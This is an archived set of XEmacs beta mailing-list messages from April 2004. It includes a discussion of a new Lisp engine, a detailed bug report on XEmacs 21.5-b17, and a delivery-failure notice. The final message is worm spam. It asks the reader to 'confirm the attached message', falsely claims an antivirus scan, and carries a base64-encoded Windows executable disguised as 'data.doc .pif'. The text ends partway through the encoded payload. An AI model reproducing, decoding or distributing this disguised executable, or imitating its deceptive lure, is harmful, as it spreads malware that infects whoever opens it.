i3LHR2s03722; Wed, 21 Apr 2004 13:27:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LHQ4502763 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 13:26:04 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LHQ2k02712 for turnbull@tux.org; Wed, 21 Apr 2004 13:26:02 -0400 Received: from deliver.epitech.net (deliver.epitech.net [163.5.0.25]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3LHQ1s02691; Wed, 21 Apr 2004 13:26:02 -0400 Received: from epita.fr ([10.42.1.60]) by deliver.epitech.net (SAVSMTP 3.1.2.35) with SMTP id M2004042119222503198 ; Wed, 21 Apr 2004 19:22:25 +0200 Received: from kualalumpur.lrde.epita.fr (kualalumpur.lrde.epita.fr [10.223.13.1]) by epita.fr id i3LHPwD03087 Wed, 21 Apr 2004 19:25:58 +0200 (CEST) Received: from debian.lrde.epita.fr ([10.223.13.53] helo=uzeb.lrde.epita.fr ident=mail) by kualalumpur.lrde.epita.fr with esmtp (Exim 3.36 #1 (Debian)) id 1BGLUK-0006X6-00; Wed, 21 Apr 2004 19:26:20 +0200 Received: from didier by uzeb.lrde.epita.fr with local (Exim 3.36 #1 (Debian)) id 1BGLTo-0005lU-00; Wed, 21 Apr 2004 19:25:48 +0200 To: "Stephen J. Turnbull" Cc: XEmacs beta Subject: Re: XEmacs lisp engine X-Attribution: dvl X-Url: http://www.lrde.epita.fr/~didier X-Web: http://www.lrde.epita.fr/~didier X-Home-Page: http://www.lrde.epita.fr/~didier In-Reply-To: <87hdvdntum.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Thu, 22 Apr 2004 02:06:41 +0900") References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> <87hdvdntum.fsf@tleepslib.sk.tsukuba.ac.jp> Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAElBMVEWWi12vpYhJNB1vXjMp DwXl2MRQpY/lAAACaklEQVR4nGWUQZLjIAxFZRPvoT3sHckHkJGzz2AfIEwX97/KfJy4k6khqVSF xxfwJUE7xra23/3uYwnnoDbz+9cBrs+pWNs4wPWS9zmTM+viP4prn/fJmxqzhlAPCQVPTrucNZAn m3N3Kph5Vtrmri0rfr5HCEoLlZknt0l9Dn9KmoKV/O0F6te1xDdI4ZyvJX0qxuGcD3Fc3oAe8Vwf 4mP63OMnUAjFuh9wXT5AcMtbMXzMh/4N7AShRemv/yuObZ0dYJb0A0ISiaGXEkslVr+62M5ZHwlO T8HlZyilNMbg5qmOsJ2n2OcBEuJ7sDHG4uQAyUJ/+Eh8e2g/1MBcR953tq7Py5HBLZAbHshq/Vq3 xLz0ezOFMrx1Nxy01jF1IxQjL0eixAlAQQZHnJWo8yadB5hGgVUtIWOzzwdvSMlAQiQvDx+GGNSA 946yyaSvfDst3oiSApIIaauQUgs5CWZKl0kJH3N25KmMKUkH4JJO5MjcCdyc0+JQj6aoApKOnqB+ AwhWmXbYiGzpzZ6m+yxsGOpbqMlZr2dJMUsDuKWh9hNLu16hlRtQxd0s4Zt4MmRJI9zN0gRm2Uh7 4ykNtSCL7gjV2mRnEoc/PKBbcEFjESPOAsB5gvLW2mgEQCzH4Cvh17CqtWRpuYXEXNaV+mbWE2AT tNHd0HAmBCEuS9pO7GfUjyZbN2NKaDU1/aPYvdUVFlveLneaM6dsy3eGq8crYVlmuWxQpB2u1nmf j+fBdJekKyzJTrZ+qeMx3a6OO9glHUBsqeX50DAUWXUVYvFmcn0dCWBJWaYElTqYgjYvfXsLWNTP rDL/BTRyxjUEULoPAAAAAElFTkSuQmCC X-Face: Yege`pKP,!,TY._G%P!T$iD.!!%!G_PD}#}*d|*3bC^AZp6J5s"")#]>]lPwoiwa{PI}v5;N~1)qQZR */rOs"B"^n68&DHpKu[@2mF&Uc{*wt]m!]f\Y-TfP From: Didier Verna Mail-Copies-To: never Date: Wed, 21 Apr 2004 19:25:48 +0200 Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by gwyn.tux.org id i3LHQ1s02691 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Stephen J. Turnbull wrote: > Soonest would be a couple of years, I would think. This is at least as big > as Mule, wouldn't you say? Actually, I'm not sure. I don't know how well existing "real" lisp engines could be integrated. The most important or difficult part could turn out to be the upgrade of existing code. This can be rephrased as "re-implementing" ELisp on top of the new Lisp engine. Also, a totally unrealistic view (although ideally preferable) would be to translate all current lisp code to the new one :-) MetaEnvironment or Stratego could be of some help there. -- Didier Verna, didier@lrde.epita.fr, http://www.lrde.epita.fr/~didier EPITA / LRDE, 14-16 rue Voltaire Tel.+33 (1) 44 08 01 85 94276 Le Kremlin-Bicêtre, France Fax.+33 (1) 53 14 59 22 didier@xemacs.org From xemacs-beta-admin@xemacs.org Wed Apr 21 15:00:27 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LJ0Cs25649; Wed, 21 Apr 2004 15:00:12 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LIxsu25256 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 14:59:54 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LIxoY25211 for turnbull@tux.org; Wed, 21 Apr 2004 14:59:50 -0400 Received: from fed1rmmtao03.cox.net (fed1rmmtao03.cox.net [68.230.241.36]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LIxns25194 for ; Wed, 21 Apr 2004 14:59:49 -0400 Received: from ip68-4-65-241.oc.oc.cox.net ([68.5.253.99]) by fed1rmmtao03.cox.net (InterMail vM.6.01.03.02 201-2131-111-104-20040324) with ESMTP id <20040421185948.EAHT12741.fed1rmmtao03.cox.net@ip68-4-65-241.oc.oc.cox.net> for ; Wed, 21 Apr 2004 14:59:48 -0400 Received: from weyl.ps.uci.edu (localhost.localdomain [127.0.0.1]) by ip68-4-65-241.oc.oc.cox.net (Postfix) with ESMTP id 511192EE4E for ; Wed, 21 Apr 2004 11:59:48 -0700 (PDT) To: XEmacs Beta Reply-To: mmayer@uci.edu Subject: [Bug: 21.5-b17] Setting mark, messed up time-display Name: Meinhard E. Mayer, Research Professor Organization: Department of Physics, U C. Irvine. Ph. (949) 824-5543 X-Mailer: Gnu/Linux-Fedora-1 kernel 2.6.1; xemacs-21.5.17, nmh-1.0.4 Date: Wed, 21 Apr 2004 11:59:48 -0700 From: "Meinhard E. Mayer" Message-Id: <20040421185948.511192EE4E@ip68-4-65-241.oc.oc.cox.net> X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Since sending the bug-report directly failed, I pasted it into my mh-e send buffer. Here it is: To: XEmacs Beta Cc: mmayer@uci.edu Subject: [Bug: 21.5-b17] Setting mark, messed up time-display From: mmayer@uci.edu (Hardy Mayer) Date: Wed, 21 Apr 2004 11:56:21 -0700 Message-ID: --text follows this line-- ================================================================ Dear Bug Team! 1. The gtk-version seems to work better now (though it crashed while I was away from the machine for a day). It alsocrashed when I tried to invoke ispell from the menu-bar, rather than command-line. The one remaining cosmetic problem (which does not happen in 21.4.15) is that the time-display gets messed up and can be restored by typing C-l. (The slanted red font gets doubled and tripled in the mode-line.) 2. Trying to set the mark (Ctrl-spacebar, or M-x set-mark-command) still gives the error message Wrong type argument: extent-live-p, # as you can see from the list at the end. However the mar seems to be set, since C-x-x highlights the region. Otherwise this release seems to work normally for me (mh-e, auctex work fine; updating packages is still a problem since I am behind a firewall and the gpg signature verification fails). ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: Linux goylem 2.4.22-1.2179.nptl #1 Tue Apr 13 09:59:19 EDT 2004 i686 i686 i386 GNU/Linux ./configure '--pdump' '--ldflags=-s' '--with-gtk' '--with-gnome' '--with-sound=native,esd' '--error-checking=none' '--debug=no' XEmacs 21.5-b17 "chayote" (+CVS-20040321) configured for `i686-pc-linux'. Compilation Environment and Installation Defaults: Source code location: /reserve/xemacs-21.5.17 Installation prefix: /usr/local Operating system description file: `s/linux.h' Machine description file: `m/intel386.h' Compiler version: gcc (GCC) 3.3.2 20040108 (Red Hat Linux 3.3.2-6) - GCC specs file: /usr/lib/gcc-lib/i386-redhat-linux/3.3.2/specs - Compiler command: gcc -g -O3 libc version: glibc-2.3.2-101.4 Relocating allocator for buffers: no GNU version of malloc: yes - Using Doug Lea's new malloc from the GNU C Library. Window System: Using GTK menubars. Using GTK scrollbars. Using GTK dialog boxes. Using GTK native widgets. TTY: Compiling in support for ncurses. Compiling in support for GPM (General Purpose Mouse). Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Sound: Compiling in support for sound (native). Compiling in support for ESD (Enlightened Sound Daemon). Databases: Compiling in support for Berkeley database. Compiling in support for LDAP. Internationalization: Mail: Compiling in support for "dot-locking" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Using the new portable dumper. Load-Path Lisp Shadows: ---------------------- (/usr/local/lib/xemacs/xemacs-packages/lisp/ps-print/ps-print /usr/local/lib/xemacs/xemacs-packages/lisp/ps-print-nomule/ps-print /usr/local/lib/xemacs/xemacs-packages/lisp/build/build-report /usr/local/lib/xemacs-21.5-b17/lisp/build-report) Installed XEmacs Packages: ------------------------- (zenirc ver: 1.15 upstream: 2.112) (xslt-process ver: 1.11 upstream: regular) (xslide ver: 1.09 upstream: 0.2.2) (xemacs-devel ver: 1.61 upstream: No-Upstream-Ver) (xemacs-base ver: 1.84 upstream: No-Upstream-Ver) (x-symbol ver: 1.09 upstream: 4.5.1) (w3 ver: 1.29 upstream: 4.0pre47) (vm ver: 7.18 upstream: 7.17) (viper ver: 1.37 upstream: 3.09) (view-process ver: 1.13 upstream: 2.4) (vhdl ver: 1.18 upstream: 3.31.20) (vc-cc ver: 1.22 upstream: No-Upstream-Ver) (vc ver: 1.38 upstream: No-Upstream-Ver) (tramp ver: 1.17 upstream: 2.0.35) (tpu ver: 1.14 upstream: 4.2X) (tooltalk ver: 1.15 upstream: No-Upstream-Ver) (tm ver: 1.37 upstream: No-Upstream-Ver) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.73 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (supercite ver: 1.2 upstream: 3.55x3) (strokes ver: 1.1 upstream: No-Upstream-Ver) (speedbar ver: 1.27 upstream: 0.14beta4) (sounds-wav ver: 1.12 upstream: No-Upstream-Ver) (sounds-au ver: 1.12 upstream: No-Upstream-Ver) (sml-mode ver: 0.11 upstream: 3.9.5) (slider ver: 1.15 upstream: 0.3x1) (sieve ver: 1.15 upstream: No-Upstream-Ver) (sh-script ver: 1.18 upstream: 2.0e) (sgml ver: 1.11 upstream: No-Upstream-Ver) (semantic ver: 1.18 upstream: 1.4.2) (scheme ver: 1.14 upstream: No-Upstream-Ver) (sasl ver: 1.14 upstream: 1.14.4) (ruby-modes ver: 1.02 upstream: 1.6.8) (rmail ver: 1.14 upstream: No-Upstream-Ver) (riece ver: 1.14 upstream: 0.1.7) (reftex ver: 1.33 upstream: 4.21) (python-modes ver: 1.03 upstream: No-Upstream-Ver) (psgml-dtds ver: 1.03 upstream: No-Upstream-Ver) (psgml ver: 1.42 upstream: 1.3.1) (ps-print-nomule ver: 1.05 upstream: regular) (ps-print ver: 1.09 upstream: 6.5.6) (prog-modes ver: 1.94 upstream: No-Upstream-Ver) (pgg ver: 1.04 upstream: 0.1) (perl-modes ver: 1.05 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (pcl-cvs ver: 1.65 upstream: R-2_9_9) (pc ver: 1.26 upstream: No-Upstream-Ver) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (oo-browser ver: 1.04 upstream: 4.08) (ocaml ver: 0.05 upstream: 3.06) (net-utils ver: 1.38 upstream: N/A) (mmm-mode ver: 1.01 upstream: 0.4.7) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mine ver: 1.16 upstream: 1.9) (mh-e ver: 1.28 upstream: 7.4.2) (mew ver: 1.18 upstream: 1.94.2) (mailcrypt ver: 2.14 upstream: 3.5.8) (mail-lib ver: 1.64 upstream: No-Upstream-Ver) (liece ver: 1.13 upstream: 1.4.9) (jde ver: 1.46 upstream: regular) (ispell ver: 1.29 upstream: 3.6) (ilisp ver: 1.33 upstream: 5.12.0) (igrep ver: 1.12 upstream: 2.95) (idlwave ver: 1.31 upstream: 5.1) (ibuffer ver: 1.09 upstream: No-Upstream-Ver) (hyperbole ver: 1.15 upstream: 4.18) (hm--html-menus ver: 1.23 upstream: 5.9) (haskell-mode ver: 1.06 upstream: 1.44) (gnus ver: 1.79 upstream: 5.10.6) (gnats ver: 1.16 upstream: 3.101) (general-docs ver: 1.01 upstream: No-Upstream-Ver) (games ver: 1.15 upstream: 1.04) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (frame-icon ver: 1.11 upstream: No-Upstream-Ver) (fortran-modes ver: 1.03 upstream: No-Upstream-Ver) (forms ver: 1.15 upstream: 2.37) (footnote ver: 1.16 upstream: 0.18x) (eudc ver: 1.39 upstream: 1.32) (eterm ver: 1.15 upstream: No-Upstream-Ver) (ess ver: 1.07 upstream: 5.1.21) (eshell ver: 1.06 upstream: 2.4.1) (erc ver: 0.05 upstream: Version 4.0 Revision: 1.608) (emerge ver: 1.11 upstream: No-Upstream-Ver) (elib ver: 1.11 upstream: 1.0) (eieio ver: 1.05 upstream: 0.17) (efs ver: 1.32 upstream: 1.22) (edt ver: 1.13 upstream: No-Upstream-Ver) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.49 upstream: 2.75) (edebug ver: 1.2 upstream: No-Upstream-Ver) (ecrypto ver: 0.16 upstream: 2.0) (ecb ver: 1.14 upstream: 2.11) (docbookide ver: 0.07000000000000001 upstream: 0.1) (dired ver: 1.15 upstream: 7.11) (dictionary ver: 1.12 upstream: regular) (debug ver: 1.17 upstream: No-Upstream-Ver) (crisp ver: 1.14 upstream: 1.34) (cookie ver: 1.15 upstream: No-Upstream-Ver) (clearcase ver: 1.08 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (calc ver: 1.24 upstream: 2.02fX3) (c-support ver: 1.19 upstream: No-Upstream-Ver) (build ver: 1.14 upstream: 2.02) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (apel ver: 1.27 upstream: 10.2) (ada ver: 1.14 upstream: 2.27) Installed Modules: ----------------- Features: -------- (mail-extr xemacsbug shadow ebuff-menu electric font disp-table lazy-shot lazy-lock fast-lock recent-files avoid jka-compr func-menu filladapt cus-edit cus-load efs-cu efs-x19.15 efs-fnh efs-ovwrt efs-auto mwheel time tex-site mh-xemacs-compat mh-identity mh-comp regexp-opt mh-xemacs-icons mh-utils gnus-cite gnus-art mm-uu mml2015 pgg pgg-parse pgg-def gnus-sum nnoo gnus-group gnus-undo nnmail mail-source format-spec gnus-start gnus-spec gnus-int gnus-range message mml mml-sec mml-smime smime dig mail-abbrevs mailheader canlock gnus-win gnus gnus-ems gnus-xmas messagexmas nnheader nnheaderxm mail-utils wid-edit sendmail rfc822 executable mm-view mm-decode mm-bodies mm-encode mailcap lpr mail-parse rfc2045 rfc2231 rfc2047 qp ietf-drums mm-util mail-prsvr mh-customize mh-loaddefs gnus-util netrc time-date parse-time mh-inc mh-e resume bbdb timezone bookmark pp saveplace blink-cursor paren blink-paren font-lock cus-face zenirc-autoloads xslt-process-autoloads xslide-autoloads xemacs-devel-autoloads xemacs-base-autoloads x-symbol-autoloads w3-autoloads vm-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tramp-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads sml-mode-autoloads slider-autoloads sieve-autoloads sh-script-autoloads sgml-autoloads semantic-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads rmail-autoloads riece-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-nomule-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads oo-browser-autoloads ocaml-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mine-autoloads mh-e-autoloads mew-autoloads mailcrypt-autoloads mail-lib-autoloads liece-autoloads jde-autoloads ispell-autoloads ilisp-autoloads igrep-autoloads idlwave-autoloads ibuffer-autoloads hyperbole-autoloads hm--html-menus-autoloads haskell-mode-autoloads gnus-autoloads gnats-autoloads general-docs-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads fortran-modes-autoloads forms-autoloads footnote-autoloads eudc-autoloads eterm-autoloads ess-autoloads eshell-autoloads erc-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads edebug-autoloads ecrypto-autoloads ecb-autoloads docbookide-autoloads dired-autoloads dictionary-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads modules-autoloads auto-autoloads loadhist rsz-minibuf auto-show fontl-hooks dialog-gtk gtk-file-dialog gtk-password-dialog widgets-gtk gtk-iso8859-1 x-iso8859-1 gdk gtk-ffi code-cmds gutter-items menubar-items x-menubar mode-motion mouse behavior itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived newcomment env text-props frame obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote unicode gtk-scrollbars gtk-menubars gtk-ui gtk-dialogs gtk tty-frames tty toolbar esd-sound native-sound scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar berkeley-db md5 xemacs gutter tiff png gif jpeg xpm xbm lisp-float-type file-coding linux dialog devices window-system base64) Recent keystrokes: ----------------- button1 button1up button1 button1up button5 button5up button5 button5up button2 button2up button2 button2up button2 button2up button4 button4up button4 button4up button4 button4up button4up button4 button4up button4up button4 button4up button4up button4up button4up button1 button1up M-w button1 button1up button2 button2up C-l C-SPC button1 button1up button1 button1up C-x o RET C-x C-b down down up up up down RET C-SPC C-x b RET button1 button1up button1 button1up button1 button1up button2 button2up button1 button1up button1 button1up C-SPC C-e C-x C-e button1 button1up C-x C-x C-x C-x C-x C-x misc-user Recent messages (most recent first): ----------------------------------- Loading mail-extr...done Loading mail-extr... Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # Wrong type argument: extent-live-p, # -- Hardy (Meinhard E. Mayer) Professor Emeritus U. C. Irvine From xemacs-beta-admin@xemacs.org Wed Apr 21 15:14:17 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LJE5s04522; Wed, 21 Apr 2004 15:14:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LJDxJ04394 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 15:13:59 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LJDwK04374 for turnbull@tux.org; Wed, 21 Apr 2004 15:13:58 -0400 Received: from omr-m03.mx.aol.com (omr-m03.mx.aol.com [64.12.138.3]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LJDvs04365 for ; Wed, 21 Apr 2004 15:13:57 -0400 Received: from air-yj01.mail.aol.com (air-yj01.mail.aol.com [172.18.180.167]) by omr-m03.mx.aol.com (v98.19) with ESMTP id RELAYIN6-74086c7eb86; Wed, 21 Apr 2004 15:13:47 -0400 from: Mail Delivery Subsystem Date: Wed, 21 Apr 2004 15:10:37 EDT To: Subject: Mail Delivery Problem Mailer: AIRmail [v98.19] X-AOL-IP: 172.18.180.167 Message-ID: <200404211513.74086c7eb86@omr-m03.mx.aol.com> X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Your mail to the following recipients could not be delivered because they are not accepting mail from xemacs-beta@xemacs.org: lilgrkminime21ao From djhayden@porterinstrument.net Wed Apr 21 15:47:02 2004 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LJkxs01077 for ; Wed, 21 Apr 2004 15:46:59 -0400 Message-Id: <200404211946.i3LJkxs01077@gwyn.tux.org> From: djhayden@porterinstrument.net To: xemacs-beta-archive@xemacs.org Subject: Re: Thank you for delivery Date: Wed, 21 Apr 2004 15:31:11 -0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit SMTP: Please confirm the attached message. ++++ Attachment: No Virus found ++++ Norton AntiVirus - www.symantec.de ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="data.doc .pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="data.doc .pif" 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 